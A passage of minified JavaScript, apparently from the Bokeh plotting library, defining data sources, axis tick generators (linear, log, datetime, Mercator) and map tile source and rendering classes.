o=t(201);i.ColumnarDataSource=o.ColumnarDataSource;var s=t(199);i.CDSView=s.CDSView;var a=t(202);i.DataSource=a.DataSource;var l=t(203);i.GeoJSONDataSource=l.GeoJSONDataSource;var h=t(205);i.RemoteDataSource=h.RemoteDataSource},function(t,e,i){var n=t(391),r=t(200),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.prototype.get_column=function(t){var e=this.data[t];return null!=e?e:[]},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.setup()},t.initClass=function(){this.prototype.type=\\\"RemoteDataSource\\\",this.define({data_url:[o.String],polling_interval:[o.Number]})},t}(r.ColumnDataSource);(i.RemoteDataSource=s).initClass()},function(t,e,i){var n=t(391),r=t(210),o=t(15),v=t(21),s=function(i){function t(t){return i.call(this,t)||this}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"AdaptiveTicker\\\",this.define({base:[o.Number,10],mantissas:[o.Array,[1,2,5]],min_interval:[o.Number,0],max_interval:[o.Number]})},t.prototype.initialize=function(){i.prototype.initialize.call(this);var t=v.nth(this.mantissas,-1)/this.base,e=v.nth(this.mantissas,0)*this.base;this.extended_mantissas=[t].concat(this.mantissas,[e]),this.base_factor=0===this.get_min_interval()?1:this.get_min_interval()},t.prototype.get_interval=function(t,e,i){var n,r,o,s,a,l=e-t,h=this.get_ideal_interval(t,e,i),u=Math.floor((s=h/this.base_factor,void 0===(a=this.base)&&(a=Math.E),Math.log(s)/Math.log(a))),c=Math.pow(this.base,u)*this.base_factor,_=this.extended_mantissas,p=_.map(function(t){return Math.abs(i-l/(t*c))}),d=_[v.argmin(p)],f=d*c;return n=f,r=this.get_min_interval(),o=this.get_max_interval(),Math.max(r,Math.min(o,n))},t}(r.ContinuousTicker);(i.AdaptiveTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(206),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"BasicTicker\\\"},t}(r.AdaptiveTicker);(i.BasicTicker=o).initClass()},function(t,e,i){var n=t(391),r=t(219),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CategoricalTicker\\\"},t.prototype.get_ticks=function(t,e,i,n,r){var o=this._collect(i.factors,i,t,e),s=this._collect(i.tops||[],i,t,e),a=this._collect(i.mids||[],i,t,e);return{major:o,minor:[],tops:s,mids:a}},t.prototype._collect=function(t,e,i,n){for(var r=[],o=0,s=t;o<s.length;o++){var a=s[o],l=e.synthetic(a);i<l&&l<n&&r.push(a)}return r},t}(r.Ticker);(i.CategoricalTicker=o).initClass()},function(t,e,i){var n=t(391),r=t(210),o=t(15),c=t(21),_=t(32),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CompositeTicker\\\",this.define({tickers:[o.Array,[]]})},Object.defineProperty(t.prototype,\\\"min_intervals\\\",{get:function(){return this.tickers.map(function(t){return t.get_min_interval()})},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"max_intervals\\\",{get:function(){return this.tickers.map(function(t){return t.get_max_interval()})},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"min_interval\\\",{get:function(){return this.min_intervals[0]},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"max_interval\\\",{get:function(){return this.max_intervals[0]},enumerable:!0,configurable:!0}),t.prototype.get_best_ticker=function(t,e,i){var n,r=e-t,o=this.get_ideal_interval(t,e,i),s=[c.sortedIndex(this.min_intervals,o)-1,c.sortedIndex(this.max_intervals,o)],a=[this.min_intervals[s[0]],this.max_intervals[s[1]]],l=a.map(function(t){return Math.abs(i-r/t)});if(_.isEmpty(l.filter(function(t){return!isNaN(t)})))n=this.tickers[0];else{var h=c.argmin(l),u=s[h];n=this.tickers[u]}return n},t.prototype.get_interval=function(t,e,i){var n=this.get_best_ticker(t,e,i);return n.get_interval(t,e,i)},t.prototype.get_ticks_no_defaults=function(t,e,i,n){var r=this.get_best_ticker(t,e,n);return r.get_ticks_no_defaults(t,e,i,n)},t}(r.ContinuousTicker);(i.CompositeTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(219),o=t(15),x=t(21),w=t(44),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ContinuousTicker\\\",this.define({num_minor_ticks:[o.Number,5],desired_num_ticks:[o.Number,6]})},t.prototype.get_ticks=function(t,e,i,n,r){return this.get_ticks_no_defaults(t,e,n,this.desired_num_ticks)},t.prototype.get_ticks_no_defaults=function(e,i,t,n){var r=this.get_interval(e,i,n),o=Math.floor(e/r),s=Math.ceil(i/r),a=(w.isStrictNaN(o)||w.isStrictNaN(s)?[]:x.range(o,s+1)).map(function(t){return t*r}).filter(function(t){return e<=t&&t<=i}),l=this.num_minor_ticks,h=[];if(0<l&&0<a.length){for(var u=r/l,c=x.range(0,l).map(function(t){return t*u}),_=0,p=c.slice(1);_<p.length;_++){var d=p[_],f=a[0]-d;e<=f&&f<=i&&h.push(f)}for(var v=0,m=a;v<m.length;v++)for(var g=m[v],y=0,b=c;y<b.length;y++){var d=b[y],f=g+d;e<=f&&f<=i&&h.push(f)}}return{major:a,minor:h}},t.prototype.get_min_interval=function(){return this.min_interval},t.prototype.get_max_interval=function(){return null!=this.max_interval?this.max_interval:1/0},t.prototype.get_ideal_interval=function(t,e,i){var n=e-t;return n/i},t}(r.Ticker);(i.ContinuousTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(21),o=t(206),s=t(209),a=t(212),l=t(217),h=t(221),u=t(220),c=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"DatetimeTicker\\\",this.override({num_minor_ticks:0,tickers:function(){return[new o.AdaptiveTicker({mantissas:[1,2,5],base:10,min_interval:0,max_interval:500*u.ONE_MILLI,num_minor_ticks:0}),new o.AdaptiveTicker({mantissas:[1,2,5,10,15,20,30],base:60,min_interval:u.ONE_SECOND,max_interval:30*u.ONE_MINUTE,num_minor_ticks:0}),new o.AdaptiveTicker({mantissas:[1,2,4,6,8,12],base:24,min_interval:u.ONE_HOUR,max_interval:12*u.ONE_HOUR,num_minor_ticks:0}),new a.DaysTicker({days:r.range(1,32)}),new a.DaysTicker({days:r.range(1,31,3)}),new a.DaysTicker({days:[1,8,15,22]}),new a.DaysTicker({days:[1,15]}),new l.MonthsTicker({months:r.range(0,12,1)}),new l.MonthsTicker({months:r.range(0,12,2)}),new l.MonthsTicker({months:r.range(0,12,4)}),new l.MonthsTicker({months:r.range(0,12,6)}),new h.YearsTicker({})]}})},t}(s.CompositeTicker);(i.DatetimeTicker=c).initClass()},function(t,e,i){var n=t(391),r=t(218),u=t(220),o=t(15),c=t(21),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"DaysTicker\\\",this.define({days:[o.Array,[]]}),this.override({num_minor_ticks:0})},t.prototype.initialize=function(){e.prototype.initialize.call(this);var t=this.days;1<t.length?this.interval=(t[1]-t[0])*u.ONE_DAY:this.interval=31*u.ONE_DAY},t.prototype.get_ticks_no_defaults=function(e,i,t,n){var r=function(t,e){var i=u.last_month_no_later_than(new Date(t)),n=u.last_month_no_later_than(new Date(e));n.setUTCMonth(n.getUTCMonth()+1);for(var r=[],o=i;r.push(u.copy_date(o)),o.setUTCMonth(o.getUTCMonth()+1),!(n<o););return r}(e,i),h=this.days,o=this.interval,s=c.concat(r.map(function(t){return function(t,e){for(var i=t.getUTCMonth(),n=[],r=0,o=h;r<o.length;r++){var s=o[r],a=u.copy_date(t);a.setUTCDate(s);var l=new Date(a.getTime()+e/2);l.getUTCMonth()==i&&n.push(a)}return n}(t,o)})),a=s.map(function(t){return t.getTime()}),l=a.filter(function(t){return e<=t&&t<=i});return{major:l,minor:[]}},t}(r.SingleIntervalTicker);(i.DaysTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(210),o=t(15),s=function(i){function t(t){var e=i.call(this,t)||this;return e.min_interval=0,e.max_interval=0,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"FixedTicker\\\",this.define({ticks:[o.Array,[]],minor_ticks:[o.Array,[]]})},t.prototype.get_ticks_no_defaults=function(t,e,i,n){return{major:this.ticks,minor:this.minor_ticks}},t.prototype.get_interval=function(t,e,i){return 0},t}(r.ContinuousTicker);(i.FixedTicker=s).initClass()},function(t,e,i){var n=t(206);i.AdaptiveTicker=n.AdaptiveTicker;var r=t(207);i.BasicTicker=r.BasicTicker;var o=t(208);i.CategoricalTicker=o.CategoricalTicker;var s=t(209);i.CompositeTicker=s.CompositeTicker;var a=t(210);i.ContinuousTicker=a.ContinuousTicker;var l=t(211);i.DatetimeTicker=l.DatetimeTicker;var h=t(212);i.DaysTicker=h.DaysTicker;var u=t(213);i.FixedTicker=u.FixedTicker;var c=t(215);i.LogTicker=c.LogTicker;var _=t(216);i.MercatorTicker=_.MercatorTicker;var p=t(217);i.MonthsTicker=p.MonthsTicker;var d=t(218);i.SingleIntervalTicker=d.SingleIntervalTicker;var f=t(219);i.Ticker=f.Ticker;var v=t(221);i.YearsTicker=v.YearsTicker},function(t,e,i){var n=t(391),r=t(206),N=t(21),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LogTicker\\\",this.override({mantissas:[1,5]})},t.prototype.get_ticks_no_defaults=function(e,i,t,n){var r,o=this.num_minor_ticks,s=[],a=this.base,l=Math.log(e)/Math.log(a),h=Math.log(i)/Math.log(a),u=h-l;if(isFinite(u))if(u<2){var c=this.get_interval(e,i,n),_=Math.floor(e/c),p=Math.ceil(i/c);if(r=N.range(_,p+1).filter(function(t){return 0!=t}).map(function(t){return t*c}).filter(function(t){return e<=t&&t<=i}),0<o&&0<r.length){for(var d=c/o,f=N.range(0,o).map(function(t){return t*d}),v=0,m=f.slice(1);v<m.length;v++){var g=m[v];s.push(r[0]-g)}for(var y=0,b=r;y<b.length;y++)for(var x=b[y],w=0,k=f;w<k.length;w++){var g=k[w];s.push(x+g)}}}else{var S=Math.ceil(.999999*l),C=Math.floor(1.000001*h),T=Math.ceil((C-S)/9);if(r=N.range(S-1,C+1,T).map(function(t){return Math.pow(a,t)}),0<o&&0<r.length){for(var A=Math.pow(a,T)/o,f=N.range(1,o+1).map(function(t){return t*A}),E=0,M=f;E<M.length;E++){var g=M[E];s.push(r[0]/g)}s.push(r[0]);for(var O=0,z=r;O<z.length;O++)for(var x=z[O],P=0,j=f;P<j.length;P++){var g=j[P];s.push(x*g)}}}else r=[];return{major:r.filter(function(t){return e<=t&&t<=i}),minor:s.filter(function(t){return e<=t&&t<=i})}},t}(r.AdaptiveTicker);(i.LogTicker=o).initClass()},function(t,e,i){var n=t(391),r=t(207),o=t(15),M=t(33),s=function(E){function t(t){return E.call(this,t)||this}return n.__extends(t,E),t.initClass=function(){this.prototype.type=\\\"MercatorTicker\\\",this.define({dimension:[o.LatLon]})},t.prototype.get_ticks_no_defaults=function(t,e,i,n){var r,o,s,a,l,h,u,c;if(null==this.dimension)throw new Error(\\\"MercatorTicker.dimension not configured\\\");r=M.clip_mercator(t,e,this.dimension),t=r[0],e=r[1],\\\"lon\\\"===this.dimension?(o=M.wgs84_mercator.inverse([t,i]),h=o[0],c=o[1],s=M.wgs84_mercator.inverse([e,i]),u=s[0],c=s[1]):(a=M.wgs84_mercator.inverse([i,t]),c=a[0],h=a[1],l=M.wgs84_mercator.inverse([i,e]),c=l[0],u=l[1]);var _=E.prototype.get_ticks_no_defaults.call(this,h,u,i,n),p=[],d=[];if(\\\"lon\\\"===this.dimension){for(var f=0,v=_.major;f<v.length;f++){var m=v[f];if(M.in_bounds(m,\\\"lon\\\")){var g=M.wgs84_mercator.forward([m,c])[0];p.push(g)}}for(var y=0,b=_.minor;y<b.length;y++){var m=b[y];if(M.in_bounds(m,\\\"lon\\\")){var g=M.wgs84_mercator.forward([m,c])[0];d.push(g)}}}else{for(var x=0,w=_.major;x<w.length;x++){var m=w[x];if(M.in_bounds(m,\\\"lat\\\")){var k=M.wgs84_mercator.forward([c,m]),S=k[1];p.push(S)}}for(var C=0,T=_.minor;C<T.length;C++){var m=T[C];if(M.in_bounds(m,\\\"lat\\\")){var A=M.wgs84_mercator.forward([c,m]),S=A[1];d.push(S)}}}return{major:p,minor:d}},t}(r.BasicTicker);(i.MercatorTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(218),h=t(220),o=t(15),u=t(21),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"MonthsTicker\\\",this.define({months:[o.Array,[]]})},t.prototype.initialize=function(){e.prototype.initialize.call(this);var t=this.months;1<t.length?this.interval=(t[1]-t[0])*h.ONE_MONTH:this.interval=12*h.ONE_MONTH},t.prototype.get_ticks_no_defaults=function(e,i,t,n){var r=function(t,e){var i=h.last_year_no_later_than(new Date(t)),n=h.last_year_no_later_than(new Date(e));n.setUTCFullYear(n.getUTCFullYear()+1);for(var r=[],o=i;r.push(h.copy_date(o)),o.setUTCFullYear(o.getUTCFullYear()+1),!(n<o););return r}(e,i),o=this.months,s=u.concat(r.map(function(i){return o.map(function(t){var e=h.copy_date(i);return e.setUTCMonth(t),e})})),a=s.map(function(t){return t.getTime()}),l=a.filter(function(t){return e<=t&&t<=i});return{major:l,minor:[]}},t}(r.SingleIntervalTicker);(i.MonthsTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(210),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"SingleIntervalTicker\\\",this.define({interval:[o.Number]})},t.prototype.get_interval=function(t,e,i){return this.interval},Object.defineProperty(t.prototype,\\\"min_interval\\\",{get:function(){return this.interval},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"max_interval\\\",{get:function(){return this.interval},enumerable:!0,configurable:!0}),t}(r.ContinuousTicker);(i.SingleIntervalTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(59),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Ticker\\\"},t}(r.Model);(i.Ticker=o).initClass()},function(t,e,i){function n(t){return new Date(t.getTime())}function r(t){var e=n(t);return e.setUTCDate(1),e.setUTCHours(0),e.setUTCMinutes(0),e.setUTCSeconds(0),e.setUTCMilliseconds(0),e}i.ONE_MILLI=1,i.ONE_SECOND=1e3,i.ONE_MINUTE=60*i.ONE_SECOND,i.ONE_HOUR=60*i.ONE_MINUTE,i.ONE_DAY=24*i.ONE_HOUR,i.ONE_MONTH=30*i.ONE_DAY,i.ONE_YEAR=365*i.ONE_DAY,i.copy_date=n,i.last_month_no_later_than=r,i.last_year_no_later_than=function(t){var e=r(t);return e.setUTCMonth(0),e}},function(t,e,i){var n=t(391),r=t(207),o=t(218),h=t(220),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"YearsTicker\\\"},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.interval=h.ONE_YEAR,this.basic_ticker=new r.BasicTicker({num_minor_ticks:0})},t.prototype.get_ticks_no_defaults=function(e,i,t,n){var r=h.last_year_no_later_than(new Date(e)).getUTCFullYear(),o=h.last_year_no_later_than(new Date(i)).getUTCFullYear(),s=this.basic_ticker.get_ticks_no_defaults(r,o,t,n).major,a=s.map(function(t){return Date.UTC(t,0,1)}),l=a.filter(function(t){return e<=t&&t<=i});return{major:l,minor:[]}},t}(o.SingleIntervalTicker);(i.YearsTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(225),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"BBoxTileSource\\\",this.define({use_latlon:[o.Bool,!1]})},t.prototype.get_image_url=function(t,e,i){var n,r,o,s,a,l,h=this.string_lookup_replace(this.url,this.extra_url_vars);return this.use_latlon?(n=this.get_tile_geographic_bounds(t,e,i),s=n[0],l=n[1],o=n[2],a=n[3]):(r=this.get_tile_meter_bounds(t,e,i),s=r[0],l=r[1],o=r[2],a=r[3]),h.replace(\\\"{XMIN}\\\",s.toString()).replace(\\\"{YMIN}\\\",l.toString()).replace(\\\"{XMAX}\\\",o.toString()).replace(\\\"{YMAX}\\\",a.toString())},t}(r.MercatorTileSource);(i.BBoxTileSource=s).initClass()},function(t,e,i){var n=t(44),r=function(){function t(){this.images=[]}return t.prototype.pop=function(){var t=this.images.pop();return null!=t?t:new Image},t.prototype.push=function(t){var e;50<this.images.length||(n.isArray(t)?(e=this.images).push.apply(e,t):this.images.push(t))},t}();i.ImagePool=r},function(t,e,i){var n=t(222);i.BBoxTileSource=n.BBoxTileSource;var r=t(225);i.MercatorTileSource=r.MercatorTileSource;var o=t(226);i.QUADKEYTileSource=o.QUADKEYTileSource;var s=t(227);i.TileRenderer=s.TileRenderer;var a=t(228);i.TileSource=a.TileSource;var l=t(230);i.TMSTileSource=l.TMSTileSource;var h=t(231);i.WMTSTileSource=h.WMTSTileSource},function(t,e,i){var n=t(391),r=t(228),o=t(15),s=t(21),h=t(229),a=function(i){function t(t){return i.call(this,t)||this}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"MercatorTileSource\\\",this.define({snap_to_zoom:[o.Bool,!1],wrap_around:[o.Bool,!0]}),this.override({x_origin_offset:20037508.34,y_origin_offset:20037508.34,initial_resolution:156543.03392804097})},t.prototype.initialize=function(){var e=this;i.prototype.initialize.call(this),this._resolutions=s.range(this.min_zoom,this.max_zoom+1).map(function(t){return e.get_resolution(t)})},t.prototype._computed_initial_resolution=function(){return null!=this.initial_resolution?this.initial_resolution:2*Math.PI*6378137/this.tile_size},t.prototype.is_valid_tile=function(t,e,i){return!(!this.wrap_around&&(t<0||t>=Math.pow(2,i))||e<0||e>=Math.pow(2,i))},t.prototype.parent_by_tile_xyz=function(t,e,i){var n=this.tile_xyz_to_quadkey(t,e,i),r=n.substring(0,n.length-1);return this.quadkey_to_tile_xyz(r)},t.prototype.get_resolution=function(t){return this._computed_initial_resolution()/Math.pow(2,t)},t.prototype.get_resolution_by_extent=function(t,e,i){var n=(t[2]-t[0])/i,r=(t[3]-t[1])/e;return[n,r]},t.prototype.get_level_by_extent=function(t,e,i){for(var n=(t[2]-t[0])/i,r=(t[3]-t[1])/e,o=Math.max(n,r),s=0,a=0,l=this._resolutions;a<l.length;a++){var h=l[a];if(h<o){if(0==s)return 0;if(0<s)return s-1}s+=1}return s-1},t.prototype.get_closest_level_by_extent=function(t,e,i){var n=(t[2]-t[0])/i,r=(t[3]-t[1])/e,o=Math.max(n,r),s=this._resolutions.reduce(function(t,e){return Math.abs(e-o)<Math.abs(t-o)?e:t});return this._resolutions.indexOf(s)},t.prototype.snap_to_zoom_level=function(t,e,i,n){var r=t[0],o=t[1],s=t[2],a=t[3],l=this._resolutions[n],h=i*l,u=e*l;if(!this.snap_to_zoom){var c=(s-r)/h,_=(a-o)/u;_<c?(h=s-r,u*=c):(h*=_,u=a-o)}var p=(h-(s-r))/2,d=(u-(a-o))/2;return[r-p,o-d,s+p,a+d]},t.prototype.tms_to_wmts=function(t,e,i){\\\"Note this works both ways\\\";return[t,Math.pow(2,i)-1-e,i]},t.prototype.wmts_to_tms=function(t,e,i){\\\"Note this works both ways\\\";return[t,Math.pow(2,i)-1-e,i]},t.prototype.pixels_to_meters=function(t,e,i){var n=this.get_resolution(i),r=t*n-this.x_origin_offset,o=e*n-this.y_origin_offset;return[r,o]},t.prototype.meters_to_pixels=function(t,e,i){var n=this.get_resolution(i),r=(t+this.x_origin_offset)/n,o=(e+this.y_origin_offset)/n;return[r,o]},t.prototype.pixels_to_tile=function(t,e){var i=Math.ceil(t/this.tile_size);i=0===i?i:i-1;var n=Math.max(Math.ceil(e/this.tile_size)-1,0);return[i,n]},t.prototype.pixels_to_raster=function(t,e,i){var n=this.tile_size<<i;return[t,n-e]},t.prototype.meters_to_tile=function(t,e,i){var n=this.meters_to_pixels(t,e,i),r=n[0],o=n[1];return this.pixels_to_tile(r,o)},t.prototype.get_tile_meter_bounds=function(t,e,i){var n=this.pixels_to_meters(t*this.tile_size,e*this.tile_size,i),r=n[0],o=n[1],s=this.pixels_to_meters((t+1)*this.tile_size,(e+1)*this.tile_size,i),a=s[0],l=s[1];return[r,o,a,l]},t.prototype.get_tile_geographic_bounds=function(t,e,i){var n=this.get_tile_meter_bounds(t,e,i),r=h.meters_extent_to_geographic(n),o=r[0],s=r[1],a=r[2],l=r[3];return[o,s,a,l]},t.prototype.get_tiles_by_extent=function(t,e,i){void 0===i&&(i=1);var n=t[0],r=t[1],o=t[2],s=t[3],a=this.meters_to_tile(n,r,e),l=a[0],h=a[1],u=this.meters_to_tile(o,s,e),c=u[0],_=u[1];l-=i,h-=i,c+=i;for(var p=[],d=_+=i;h<=d;d--)for(var f=l;f<=c;f++)this.is_valid_tile(f,d,e)&&p.push([f,d,e,this.get_tile_meter_bounds(f,d,e)]);return this.sort_tiles_from_center(p,[l,h,c,_]),p},t.prototype.quadkey_to_tile_xyz=function(t){for(var e=0,i=0,n=t.length,r=n;0<r;r--){var o=t.charAt(n-r),s=1<<r-1;switch(o){case\\\"0\\\":continue;case\\\"1\\\":e|=s;break;case\\\"2\\\":i|=s;break;case\\\"3\\\":e|=s,i|=s;break;default:throw new TypeError(\\\"Invalid Quadkey: \\\"+t)}}return[e,i,n]},t.prototype.tile_xyz_to_quadkey=function(t,e,i){for(var n=\\\"\\\",r=i;0<r;r--){var o=1<<r-1,s=0;0!=(t&o)&&(s+=1),0!=(e&o)&&(s+=2),n+=s.toString()}return n},t.prototype.children_by_tile_xyz=function(t,e,i){for(var n=this.tile_xyz_to_quadkey(t,e,i),r=[],o=0;o<=3;o++){var s=this.quadkey_to_tile_xyz(n+o.toString()),a=s[0],l=s[1],h=s[2],u=this.get_tile_meter_bounds(a,l,h);r.push([a,l,h,u])}return r},t.prototype.get_closest_parent_by_tile_xyz=function(t,e,i){var n,r,o,s=this.calculate_world_x_by_tile_xyz(t,e,i);n=this.normalize_xyz(t,e,i),t=n[0],e=n[1],i=n[2];for(var a=this.tile_xyz_to_quadkey(t,e,i);0<a.length;)if(a=a.substring(0,a.length-1),r=this.quadkey_to_tile_xyz(a),t=r[0],e=r[1],i=r[2],o=this.denormalize_xyz(t,e,i,s),t=o[0],e=o[1],i=o[2],this.tile_xyz_to_key(t,e,i)in this.tiles)return[t,e,i];return[0,0,0]},t.prototype.normalize_xyz=function(t,e,i){if(this.wrap_around){var n=Math.pow(2,i);return[(t%n+n)%n,e,i]}return[t,e,i]},t.prototype.denormalize_xyz=function(t,e,i,n){return[t+n*Math.pow(2,i),e,i]},t.prototype.denormalize_meters=function(t,e,i,n){return[t+2*n*Math.PI*6378137,e]},t.prototype.calculate_world_x_by_tile_xyz=function(t,e,i){return Math.floor(t/Math.pow(2,i))},t}(r.TileSource);(i.MercatorTileSource=a).initClass()},function(t,e,i){var n=t(391),r=t(225),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"QUADKEYTileSource\\\"},t.prototype.get_image_url=function(t,e,i){var n=this.string_lookup_replace(this.url,this.extra_url_vars),r=this.tms_to_wmts(t,e,i),o=r[0],s=r[1],a=r[2],l=this.tile_xyz_to_quadkey(o,s,a);return n.replace(\\\"{Q}\\\",l)},t}(r.MercatorTileSource);(i.QUADKEYTileSource=o).initClass()},function(t,e,i){var r=t(391),o=t(223),n=t(231),s=t(189),a=t(184),l=t(5),h=t(15),I=t(21),u=t(44),c=function(n){function t(){return null!==n&&n.apply(this,arguments)||this}return r.__extends(t,n),t.prototype.initialize=function(t){this.attributionEl=null,this._tiles=[],n.prototype.initialize.call(this,t)},t.prototype.connect_signals=function(){var t=this;n.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.request_render()})},t.prototype.get_extent=function(){return[this.x_range.start,this.y_range.start,this.x_range.end,this.y_range.end]},Object.defineProperty(t.prototype,\\\"map_plot\\\",{get:function(){return this.plot_model.plot},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"map_canvas\\\",{get:function(){return this.plot_view.canvas_view.ctx},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"map_frame\\\",{get:function(){return this.plot_model.frame},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"x_range\\\",{get:function(){return this.map_plot.x_range},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"y_range\\\",{get:function(){return this.map_plot.y_range},enumerable:!0,configurable:!0}),t.prototype._set_data=function(){this.pool=new o.ImagePool,this.extent=this.get_extent(),this._last_height=void 0,this._last_width=void 0},t.prototype._add_attribution=function(){var t=this.model.tile_source.attribution;if(u.isString(t)&&0<t.length){if(null==this.attributionEl){var e=this.plot_model.canvas._right.value-this.plot_model.frame._right.value,i=this.plot_model.canvas._bottom.value-this.plot_model.frame._bottom.value,n=this.map_frame._width.value;this.attributionEl=l.div({class:\\\"bk-tile-attribution\\\",style:{position:\\\"absolute\\\",bottom:i+\\\"px\\\",right:e+\\\"px\\\",\\\"max-width\\\":n-4+\\\"px\\\",padding:\\\"2px\\\",\\\"background-color\\\":\\\"rgba(255,255,255,0.5)\\\",\\\"font-size\\\":\\\"7pt\\\",\\\"font-family\\\":\\\"sans-serif\\\",\\\"line-height\\\":\\\"1.05\\\",\\\"white-space\\\":\\\"nowrap\\\",overflow:\\\"hidden\\\",\\\"text-overflow\\\":\\\"ellipsis\\\"}});var r=this.plot_view.canvas_view.events_el;r.appendChild(this.attributionEl)}this.attributionEl.innerHTML=t,this.attributionEl.title=this.attributionEl.textContent.replace(/\\\\s*\\\\n\\\\s*/g,\\\" \\\")}},t.prototype._map_data=function(){this.initial_extent=this.get_extent();var t=this.model.tile_source.get_level_by_extent(this.initial_extent,this.map_frame._height.value,this.map_frame._width.value),e=this.model.tile_source.snap_to_zoom_level(this.initial_extent,this.map_frame._height.value,this.map_frame._width.value,t);this.x_range.start=e[0],this.y_range.start=e[1],this.x_range.end=e[2],this.y_range.end=e[3],this.x_range instanceof a.Range1d&&(this.x_range.reset_start=e[0],this.x_range.reset_end=e[2]),this.y_range instanceof a.Range1d&&(this.y_range.reset_start=e[1],this.y_range.reset_end=e[3]),this._add_attribution()},t.prototype._on_tile_load=function(t,e){t.img=e.target,t.loaded=!0,this.request_render()},t.prototype._on_tile_cache_load=function(t,e){t.img=e.target,t.loaded=!0,t.finished=!0,this.notify_finished()},t.prototype._on_tile_error=function(t){t.finished=!0},t.prototype._create_tile=function(t,e,i,n,r){void 0===r&&(r=!1);var o=this.model.tile_source.normalize_xyz(t,e,i),s=o[0],a=o[1],l=o[2],h=this.pool.pop(),u={img:h,tile_coords:[t,e,i],normalized_coords:[s,a,l],quadkey:this.model.tile_source.tile_xyz_to_quadkey(t,e,i),cache_key:this.model.tile_source.tile_xyz_to_key(t,e,i),bounds:n,loaded:!1,finished:!1,x_coord:n[0],y_coord:n[3]};h.onload=r?this._on_tile_cache_load.bind(this,u):this._on_tile_load.bind(this,u),h.onerror=this._on_tile_error.bind(this,u),h.alt=\\\"\\\",h.src=this.model.tile_source.get_image_url(s,a,l),this.model.tile_source.tiles[u.cache_key]=u,this._tiles.push(u)},t.prototype._enforce_aspect_ratio=function(){if(this._last_height!==this.map_frame._height.value||this._last_width!==this.map_frame._width.value){var t=this.get_extent(),e=this.model.tile_source.get_level_by_extent(t,this.map_frame._height.value,this.map_frame._width.value),i=this.model.tile_source.snap_to_zoom_level(t,this.map_frame._height.value,this.map_frame._width.value,e);this.x_range.setv({start:i[0],end:i[2]}),this.y_range.setv({start:i[1],end:i[3]}),this.extent=i,this._last_height=this.map_frame._height.value,this._last_width=this.map_frame._width.value}},t.prototype.has_finished=function(){if(!n.prototype.has_finished.call(this))return!1;if(0===this._tiles.length)return!1;for(var t=0,e=this._tiles;t<e.length;t++){var i=e[t];if(!i.finished)return!1}return!0},t.prototype.render=function(){null==this.map_initialized&&(this._set_data(),this._map_data(),this.map_initialized=!0),this._enforce_aspect_ratio(),this._update(),null!=this.prefetch_timer&&clearTimeout(this.prefetch_timer),this.prefetch_timer=setTimeout(this._prefetch_tiles.bind(this),500),this.has_finished()&&this.notify_finished()},t.prototype._draw_tile=function(t){var e=this.model.tile_source.tiles[t];if(null!=e){var i=this.plot_view.map_to_screen([e.bounds[0]],[e.bounds[3]]),n=i[0][0],r=i[1][0],o=this.plot_view.map_to_screen([e.bounds[2]],[e.bounds[1]]),s=o[0][0],a=o[1][0],l=s-n,h=a-r,u=n,c=r,_=this.map_canvas.getImageSmoothingEnabled();this.map_canvas.setImageSmoothingEnabled(this.model.smoothing),this.map_canvas.drawImage(e.img,u,c,l,h),this.map_canvas.setImageSmoothingEnabled(_),e.finished=!0}},t.prototype._set_rect=function(){var t=this.plot_model.plot.properties.outline_line_width.value(),e=this.map_frame._left.value+t/2,i=this.map_frame._top.value+t/2,n=this.map_frame._width.value-t,r=this.map_frame._height.value-t;this.map_canvas.rect(e,i,n,r),this.map_canvas.clip()},t.prototype._render_tiles=function(t){this.map_canvas.save(),this._set_rect(),this.map_canvas.globalAlpha=this.model.alpha;for(var e=0,i=t;e<i.length;e++){var n=i[e];this._draw_tile(n)}this.map_canvas.restore()},t.prototype._prefetch_tiles=function(){for(var 